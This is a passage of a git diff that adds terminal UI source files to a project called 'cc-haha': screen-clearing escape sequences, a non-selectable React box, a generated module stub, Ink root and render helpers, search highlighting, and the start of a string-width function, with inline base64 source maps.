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
\ No newline at end of file
diff --git a/cc-haha/src/ink/clearTerminal.ts b/cc-haha/src/ink/clearTerminal.ts
new file mode 100644
index 0000000..38d4a68
--- /dev/null
+++ b/cc-haha/src/ink/clearTerminal.ts
@@ -0,0 +1,74 @@
+/**
+ * Cross-platform terminal clearing with scrollback support.
+ * Detects modern terminals that support ESC[3J for clearing scrollback.
+ */
+
+import {
+  CURSOR_HOME,
+  csi,
+  ERASE_SCREEN,
+  ERASE_SCROLLBACK,
+} from './termio/csi.js'
+
+// HVP (Horizontal Vertical Position) - legacy Windows cursor home
+const CURSOR_HOME_WINDOWS = csi(0, 'f')
+
+function isWindowsTerminal(): boolean {
+  return process.platform === 'win32' && !!process.env.WT_SESSION
+}
+
+function isMintty(): boolean {
+  // mintty 3.1.5+ sets TERM_PROGRAM to 'mintty'
+  if (process.env.TERM_PROGRAM === 'mintty') {
+    return true
+  }
+  // GitBash/MSYS2/MINGW use mintty and set MSYSTEM
+  if (process.platform === 'win32' && process.env.MSYSTEM) {
+    return true
+  }
+  return false
+}
+
+function isModernWindowsTerminal(): boolean {
+  // Windows Terminal sets WT_SESSION environment variable
+  if (isWindowsTerminal()) {
+    return true
+  }
+
+  // VS Code integrated terminal on Windows with ConPTY support
+  if (
+    process.platform === 'win32' &&
+    process.env.TERM_PROGRAM === 'vscode' &&
+    process.env.TERM_PROGRAM_VERSION
+  ) {
+    return true
+  }
+
+  // mintty (GitBash/MSYS2/Cygwin) supports modern escape sequences
+  if (isMintty()) {
+    return true
+  }
+
+  return false
+}
+
+/**
+ * Returns the ANSI escape sequence to clear the terminal including scrollback.
+ * Automatically detects terminal capabilities.
+ */
+export function getClearTerminalSequence(): string {
+  if (process.platform === 'win32') {
+    if (isModernWindowsTerminal()) {
+      return ERASE_SCREEN + ERASE_SCROLLBACK + CURSOR_HOME
+    } else {
+      // Legacy Windows console - can't clear scrollback
+      return ERASE_SCREEN + CURSOR_HOME_WINDOWS
+    }
+  }
+  return ERASE_SCREEN + ERASE_SCROLLBACK + CURSOR_HOME
+}
+
+/**
+ * Clears the terminal screen. On supported terminals, also clears scrollback.
+ */
+export const clearTerminal = getClearTerminalSequence()
diff --git a/cc-haha/src/ink/components/NoSelect.tsx b/cc-haha/src/ink/components/NoSelect.tsx
new file mode 100644
index 0000000..d21b8d7
--- /dev/null
+++ b/cc-haha/src/ink/components/NoSelect.tsx
@@ -0,0 +1,68 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { type PropsWithChildren } from 'react';
+import Box, { type Props as BoxProps } from './Box.js';
+type Props = Omit<BoxProps, 'noSelect'> & {
+  /**
+   * Extend the exclusion zone from column 0 to this box's right edge,
+   * for every row this box occupies. Use for gutters rendered inside a
+   * wider indented container (e.g. a diff inside a tool message row):
+   * without this, a multi-row drag picks up the container's leading
+   * indent on rows below the prefix.
+   *
+   * @default false
+   */
+  fromLeftEdge?: boolean;
+};
+
+/**
+ * Marks its contents as non-selectable in fullscreen text selection.
+ * Cells inside this box are skipped by both the selection highlight and
+ * the copied text — the gutter stays visually unchanged while the user
+ * drags, making it clear what will be copied.
+ *
+ * Use to fence off gutters (line numbers, diff +/- sigils, list bullets)
+ * so click-drag over rendered code yields clean pasteable content:
+ *
+ *   <Box flexDirection="row">
+ *     <NoSelect fromLeftEdge><Text dimColor> 42 +</Text></NoSelect>
+ *     <Text>const x = 1</Text>
+ *   </Box>
+ *
+ * Only affects alt-screen text selection (<AlternateScreen> with mouse
+ * tracking). No-op in the main-screen scrollback render where the
+ * terminal's native selection is used instead.
+ */
+export function NoSelect(t0) {
+  const $ = _c(8);
+  let boxProps;
+  let children;
+  let fromLeftEdge;
+  if ($[0] !== t0) {
+    ({
+      children,
+      fromLeftEdge,
+      ...boxProps
+    } = t0);
+    $[0] = t0;
+    $[1] = boxProps;
+    $[2] = children;
+    $[3] = fromLeftEdge;
+  } else {
+    boxProps = $[1];
+    children = $[2];
+    fromLeftEdge = $[3];
+  }
+  const t1 = fromLeftEdge ? "from-left-edge" : true;
+  let t2;
+  if ($[4] !== boxProps || $[5] !== children || $[6] !== t1) {
+    t2 = <Box {...boxProps} noSelect={t1}>{children}</Box>;
+    $[4] = boxProps;
+    $[5] = children;
+    $[6] = t1;
+    $[7] = t2;
+  } else {
+    t2 = $[7];
+  }
+  return t2;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlByb3BzV2l0aENoaWxkcmVuIiwiQm94IiwiUHJvcHMiLCJCb3hQcm9wcyIsIk9taXQiLCJmcm9tTGVmdEVkZ2UiLCJOb1NlbGVjdCIsInQwIiwiJCIsIl9jIiwiYm94UHJvcHMiLCJjaGlsZHJlbiIsInQxIiwidDIiXSwic291cmNlcyI6WyJOb1NlbGVjdC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHR5cGUgUHJvcHNXaXRoQ2hpbGRyZW4gfSBmcm9tICdyZWFjdCdcbmltcG9ydCBCb3gsIHsgdHlwZSBQcm9wcyBhcyBCb3hQcm9wcyB9IGZyb20gJy4vQm94LmpzJ1xuXG50eXBlIFByb3BzID0gT21pdDxCb3hQcm9wcywgJ25vU2VsZWN0Jz4gJiB7XG4gIC8qKlxuICAgKiBFeHRlbmQgdGhlIGV4Y2x1c2lvbiB6b25lIGZyb20gY29sdW1uIDAgdG8gdGhpcyBib3gncyByaWdodCBlZGdlLFxuICAgKiBmb3IgZXZlcnkgcm93IHRoaXMgYm94IG9jY3VwaWVzLiBVc2UgZm9yIGd1dHRlcnMgcmVuZGVyZWQgaW5zaWRlIGFcbiAgICogd2lkZXIgaW5kZW50ZWQgY29udGFpbmVyIChlLmcuIGEgZGlmZiBpbnNpZGUgYSB0b29sIG1lc3NhZ2Ugcm93KTpcbiAgICogd2l0aG91dCB0aGlzLCBhIG11bHRpLXJvdyBkcmFnIHBpY2tzIHVwIHRoZSBjb250YWluZXIncyBsZWFkaW5nXG4gICAqIGluZGVudCBvbiByb3dzIGJlbG93IHRoZSBwcmVmaXguXG4gICAqXG4gICAqIEBkZWZhdWx0IGZhbHNlXG4gICAqL1xuICBmcm9tTGVmdEVkZ2U/OiBib29sZWFuXG59XG5cbi8qKlxuICogTWFya3MgaXRzIGNvbnRlbnRzIGFzIG5vbi1zZWxlY3RhYmxlIGluIGZ1bGxzY3JlZW4gdGV4dCBzZWxlY3Rpb24uXG4gKiBDZWxscyBpbnNpZGUgdGhpcyBib3ggYXJlIHNraXBwZWQgYnkgYm90aCB0aGUgc2VsZWN0aW9uIGhpZ2hsaWdodCBhbmRcbiAqIHRoZSBjb3BpZWQgdGV4dCDigJQgdGhlIGd1dHRlciBzdGF5cyB2aXN1YWxseSB1bmNoYW5nZWQgd2hpbGUgdGhlIHVzZXJcbiAqIGRyYWdzLCBtYWtpbmcgaXQgY2xlYXIgd2hhdCB3aWxsIGJlIGNvcGllZC5cbiAqXG4gKiBVc2UgdG8gZmVuY2Ugb2ZmIGd1dHRlcnMgKGxpbmUgbnVtYmVycywgZGlmZiArLy0gc2lnaWxzLCBsaXN0IGJ1bGxldHMpXG4gKiBzbyBjbGljay1kcmFnIG92ZXIgcmVuZGVyZWQgY29kZSB5aWVsZHMgY2xlYW4gcGFzdGVhYmxlIGNvbnRlbnQ6XG4gKlxuICogICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAqICAgICA8Tm9TZWxlY3QgZnJvbUxlZnRFZGdlPjxUZXh0IGRpbUNvbG9yPiA0MiArPC9UZXh0PjwvTm9TZWxlY3Q+XG4gKiAgICAgPFRleHQ+Y29uc3QgeCA9IDE8L1RleHQ+XG4gKiAgIDwvQm94PlxuICpcbiAqIE9ubHkgYWZmZWN0cyBhbHQtc2NyZWVuIHRleHQgc2VsZWN0aW9uICg8QWx0ZXJuYXRlU2NyZWVuPiB3aXRoIG1vdXNlXG4gKiB0cmFja2luZykuIE5vLW9wIGluIHRoZSBtYWluLXNjcmVlbiBzY3JvbGxiYWNrIHJlbmRlciB3aGVyZSB0aGVcbiAqIHRlcm1pbmFsJ3MgbmF0aXZlIHNlbGVjdGlvbiBpcyB1c2VkIGluc3RlYWQuXG4gKi9cbmV4cG9ydCBmdW5jdGlvbiBOb1NlbGVjdCh7XG4gIGNoaWxkcmVuLFxuICBmcm9tTGVmdEVkZ2UsXG4gIC4uLmJveFByb3BzXG59OiBQcm9wc1dpdGhDaGlsZHJlbjxQcm9wcz4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDxCb3ggey4uLmJveFByb3BzfSBub1NlbGVjdD17ZnJvbUxlZnRFZGdlID8gJ2Zyb20tbGVmdC1lZGdlJyA6IHRydWV9PlxuICAgICAge2NoaWxkcmVufVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLElBQUksS0FBS0MsaUJBQWlCLFFBQVEsT0FBTztBQUNyRCxPQUFPQyxHQUFHLElBQUksS0FBS0MsS0FBSyxJQUFJQyxRQUFRLFFBQVEsVUFBVTtBQUV0RCxLQUFLRCxLQUFLLEdBQUdFLElBQUksQ0FBQ0QsUUFBUSxFQUFFLFVBQVUsQ0FBQyxHQUFHO0VBQ3hDO0FBQ0Y7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNFRSxZQUFZLENBQUMsRUFBRSxPQUFPO0FBQ3hCLENBQUM7O0FBRUQ7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFBQyxTQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQUEsSUFBQUMsUUFBQTtFQUFBLElBQUFDLFFBQUE7RUFBQSxJQUFBTixZQUFBO0VBQUEsSUFBQUcsQ0FBQSxRQUFBRCxFQUFBO0lBQWtCO01BQUFJLFFBQUE7TUFBQU4sWUFBQTtNQUFBLEdBQUFLO0lBQUEsSUFBQUgsRUFJRTtJQUFBQyxDQUFBLE1BQUFELEVBQUE7SUFBQUMsQ0FBQSxNQUFBRSxRQUFBO0lBQUFGLENBQUEsTUFBQUcsUUFBQTtJQUFBSCxDQUFBLE1BQUFILFlBQUE7RUFBQTtJQUFBSyxRQUFBLEdBQUFGLENBQUE7SUFBQUcsUUFBQSxHQUFBSCxDQUFBO0lBQUFILFlBQUEsR0FBQUcsQ0FBQTtFQUFBO0VBRU0sTUFBQUksRUFBQSxHQUFBUCxZQUFZLEdBQVosZ0JBQXNDLEdBQXRDLElBQXNDO0VBQUEsSUFBQVEsRUFBQTtFQUFBLElBQUFMLENBQUEsUUFBQUUsUUFBQSxJQUFBRixDQUFBLFFBQUFHLFFBQUEsSUFBQUgsQ0FBQSxRQUFBSSxFQUFBO0lBQW5FQyxFQUFBLElBQUMsR0FBRyxLQUFLSCxRQUFRLEVBQVksUUFBc0MsQ0FBdEMsQ0FBQUUsRUFBcUMsQ0FBQyxDQUNoRUQsU0FBTyxDQUNWLEVBRkMsR0FBRyxDQUVFO0lBQUFILENBQUEsTUFBQUUsUUFBQTtJQUFBRixDQUFBLE1BQUFHLFFBQUE7SUFBQUgsQ0FBQSxNQUFBSSxFQUFBO0lBQUFKLENBQUEsTUFBQUssRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUwsQ0FBQTtFQUFBO0VBQUEsT0FGTkssRUFFTTtBQUFBIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/cc-haha/src/ink/devtools.ts b/cc-haha/src/ink/devtools.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/ink/devtools.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/ink/root.ts b/cc-haha/src/ink/root.ts
new file mode 100644
index 0000000..067bbd4
--- /dev/null
+++ b/cc-haha/src/ink/root.ts
@@ -0,0 +1,184 @@
+import type { ReactNode } from 'react'
+import { logForDebugging } from 'src/utils/debug.js'
+import { Stream } from 'stream'
+import type { FrameEvent } from './frame.js'
+import Ink, { type Options as InkOptions } from './ink.js'
+import instances from './instances.js'
+
+export type RenderOptions = {
+  /**
+   * Output stream where app will be rendered.
+   *
+   * @default process.stdout
+   */
+  stdout?: NodeJS.WriteStream
+  /**
+   * Input stream where app will listen for input.
+   *
+   * @default process.stdin
+   */
+  stdin?: NodeJS.ReadStream
+  /**
+   * Error stream.
+   * @default process.stderr
+   */
+  stderr?: NodeJS.WriteStream
+  /**
+   * Configure whether Ink should listen to Ctrl+C keyboard input and exit the app. This is needed in case `process.stdin` is in raw mode, because then Ctrl+C is ignored by default and process is expected to handle it manually.
+   *
+   * @default true
+   */
+  exitOnCtrlC?: boolean
+
+  /**
+   * Patch console methods to ensure console output doesn't mix with Ink output.
+   *
+   * @default true
+   */
+  patchConsole?: boolean
+
+  /**
+   * Called after each frame render with timing and flicker information.
+   */
+  onFrame?: (event: FrameEvent) => void
+}
+
+export type Instance = {
+  /**
+   * Replace previous root node with a new one or update props of the current root node.
+   */
+  rerender: Ink['render']
+  /**
+   * Manually unmount the whole Ink app.
+   */
+  unmount: Ink['unmount']
+  /**
+   * Returns a promise, which resolves when app is unmounted.
+   */
+  waitUntilExit: Ink['waitUntilExit']
+  cleanup: () => void
+}
+
+/**
+ * A managed Ink root, similar to react-dom's createRoot API.
+ * Separates instance creation from rendering so the same root
+ * can be reused for multiple sequential screens.
+ */
+export type Root = {
+  render: (node: ReactNode) => void
+  unmount: () => void
+  waitUntilExit: () => Promise<void>
+}
+
+/**
+ * Mount a component and render the output.
+ */
+export const renderSync = (
+  node: ReactNode,
+  options?: NodeJS.WriteStream | RenderOptions,
+): Instance => {
+  const opts = getOptions(options)
+  const inkOptions: InkOptions = {
+    stdout: process.stdout,
+    stdin: process.stdin,
+    stderr: process.stderr,
+    exitOnCtrlC: true,
+    patchConsole: true,
+    ...opts,
+  }
+
+  const instance: Ink = getInstance(
+    inkOptions.stdout,
+    () => new Ink(inkOptions),
+  )
+
+  instance.render(node)
+
+  return {
+    rerender: instance.render,
+    unmount() {
+      instance.unmount()
+    },
+    waitUntilExit: instance.waitUntilExit,
+    cleanup: () => instances.delete(inkOptions.stdout),
+  }
+}
+
+const wrappedRender = async (
+  node: ReactNode,
+  options?: NodeJS.WriteStream | RenderOptions,
+): Promise<Instance> => {
+  // Preserve the microtask boundary that `await loadYoga()` used to provide.
+  // Without it, the first render fires synchronously before async startup work
+  // (e.g. useReplBridge notification state) settles, and the subsequent Static
+  // write overwrites scrollback instead of appending below the logo.
+  await Promise.resolve()
+  const instance = renderSync(node, options)
+  logForDebugging(
+    `[render] first ink render: ${Math.round(process.uptime() * 1000)}ms since process start`,
+  )
+  return instance
+}
+
+export default wrappedRender
+
+/**
+ * Create an Ink root without rendering anything yet.
+ * Like react-dom's createRoot — call root.render() to mount a tree.
+ */
+export async function createRoot({
+  stdout = process.stdout,
+  stdin = process.stdin,
+  stderr = process.stderr,
+  exitOnCtrlC = true,
+  patchConsole = true,
+  onFrame,
+}: RenderOptions = {}): Promise<Root> {
+  // See wrappedRender — preserve microtask boundary from the old WASM await.
+  await Promise.resolve()
+  const instance = new Ink({
+    stdout,
+    stdin,
+    stderr,
+    exitOnCtrlC,
+    patchConsole,
+    onFrame,
+  })
+
+  // Register in the instances map so that code that looks up the Ink
+  // instance by stdout (e.g. external editor pause/resume) can find it.
+  instances.set(stdout, instance)
+
+  return {
+    render: node => instance.render(node),
+    unmount: () => instance.unmount(),
+    waitUntilExit: () => instance.waitUntilExit(),
+  }
+}
+
+const getOptions = (
+  stdout: NodeJS.WriteStream | RenderOptions | undefined = {},
+): RenderOptions => {
+  if (stdout instanceof Stream) {
+    return {
+      stdout,
+      stdin: process.stdin,
+    }
+  }
+
+  return stdout
+}
+
+const getInstance = (
+  stdout: NodeJS.WriteStream,
+  createInstance: () => Ink,
+): Ink => {
+  let instance = instances.get(stdout)
+
+  if (!instance) {
+    instance = createInstance()
+    instances.set(stdout, instance)
+  }
+
+  return instance
+}
diff --git a/cc-haha/src/ink/searchHighlight.ts b/cc-haha/src/ink/searchHighlight.ts
new file mode 100644
index 0000000..c7c8647
--- /dev/null
+++ b/cc-haha/src/ink/searchHighlight.ts
@@ -0,0 +1,93 @@
+import {
+  CellWidth,
+  cellAtIndex,
+  type Screen,
+  type StylePool,
+  setCellStyleId,
+} from './screen.js'
+
+/**
+ * Highlight all visible occurrences of `query` in the screen buffer by
+ * inverting cell styles (SGR 7). Post-render, same damage-tracking machinery
+ * as applySelectionOverlay — the diff picks up highlighted cells as ordinary
+ * changes, LogUpdate stays a pure diff engine.
+ *
+ * Case-insensitive. Handles wide characters (CJK, emoji) by building a
+ * col-of-char map per row — the Nth character isn't at col N when wide chars
+ * are present (each occupies 2 cells: head + SpacerTail).
+ *
+ * This ONLY inverts — there is no "current match" logic here. The yellow
+ * current-match overlay is handled separately by applyPositionedHighlight
+ * (render-to-screen.ts), which writes on top using positions scanned from
+ * the target message's DOM subtree.
+ *
+ * Returns true if any match was highlighted (damage gate — caller forces
+ * full-frame damage when true).
+ */
+export function applySearchHighlight(
+  screen: Screen,
+  query: string,
+  stylePool: StylePool,
+): boolean {
+  if (!query) return false
+  const lq = query.toLowerCase()
+  const qlen = lq.length
+  const w = screen.width
+  const noSelect = screen.noSelect
+  const height = screen.height
+
+  let applied = false
+  for (let row = 0; row < height; row++) {
+    const rowOff = row * w
+    // Build row text (already lowercased) + code-unit→cell-index map.
+    // Three skip conditions, all aligned with setCellStyleId /
+    // extractRowText (selection.ts):
+    //   - SpacerTail: 2nd cell of a wide char, no char of its own
+    //   - SpacerHead: end-of-line padding when a wide char wraps
+    //   - noSelect: gutters (⎿, line numbers) — same exclusion as
+    //     applySelectionOverlay. "Highlight what you see" still holds for
+    //     content; gutters aren't search targets.
+    // Lowercasing per-char (not on the joined string at the end) means
+    // codeUnitToCell maps positions in the LOWERCASED text — U+0130
+    // (Turkish İ) lowercases to 2 code units, so lowering the joined
+    // string would desync indexOf positions from the map.
+    let text = ''
+    const colOf: number[] = []
+    const codeUnitToCell: number[] = []
+    for (let col = 0; col < w; col++) {
+      const idx = rowOff + col
+      const cell = cellAtIndex(screen, idx)
+      if (
+        cell.width === CellWidth.SpacerTail ||
+        cell.width === CellWidth.SpacerHead ||
+        noSelect[idx] === 1
+      ) {
+        continue
+      }
+      const lc = cell.char.toLowerCase()
+      const cellIdx = colOf.length
+      for (let i = 0; i < lc.length; i++) {
+        codeUnitToCell.push(cellIdx)
+      }
+      text += lc
+      colOf.push(col)
+    }
+
+    let pos = text.indexOf(lq)
+    while (pos >= 0) {
+      applied = true
+      const startCi = codeUnitToCell[pos]!
+      const endCi = codeUnitToCell[pos + qlen - 1]!
+      for (let ci = startCi; ci <= endCi; ci++) {
+        const col = colOf[ci]!
+        const cell = cellAtIndex(screen, rowOff + col)
+        setCellStyleId(screen, col, row, stylePool.withInverse(cell.styleId))
+      }
+      // Non-overlapping advance (less/vim/grep/Ctrl+F). pos+1 would find
+      // 'aa' at 0 AND 1 in 'aaa' → double-invert cell 1.
+      pos = text.indexOf(lq, pos + qlen)
+    }
+  }
+
+  return applied
+}
diff --git a/cc-haha/src/ink/stringWidth.ts b/cc-haha/src/ink/stringWidth.ts
new file mode 100644
index 0000000..83f7bcb
--- /dev/null
+++ b/cc-haha/src/ink/stringWidth.ts
@@ -0,0 +1,222 @@
+import emojiRegex from 'emoji-regex'
+import { eastAsianWidth } from 'get-east-asian-width'
+import stripAnsi from 'strip-ansi'
+import { getGraphemeSegmenter } from '../utils/intl.js'
+
+const EMOJI_REGEX = emojiRegex()
+
+/**
+ * Fallback JavaScript implementation of stringWidth when Bun.stringWidth is not available.
+ *
+ * Get the display width of a string as it would appear in a terminal.
+ *
+ * This is a more accurate alternative to the string-width package that correctly handles
+ * characters like ⚠ (U+26A0) which string-width incorrectly reports as width 2.
+ *
+ * The implementation uses eastAsianWidth directly with ambiguousAsWide: false,
+ * which correctly treats ambiguous-width characters as narrow (width 1) as
+ * recommended by the Unicode standard for Western contexts.
+ */
+function stringWidthJavaScript(str: string): number {
+  if (typeof str !== 'string' || str.length === 0) {
+    return 0
+  }
+
+  // Fast path: pure ASCII string (no ANSI codes, no wide chars)
+  let isPureAscii = true
+  for (let i = 0; i < str.length; i++) {
+    const code = str.charCodeAt(i)
+    // Check for non-ASCII or ANSI escape (0x1b)
+    if (code >= 127 || code === 0x1b) {
+      isPureAscii = false
+      break
+    }
+  }
+  if (isPureAscii) {
+    // Count printable characters (exclude control chars)
+    let width = 0
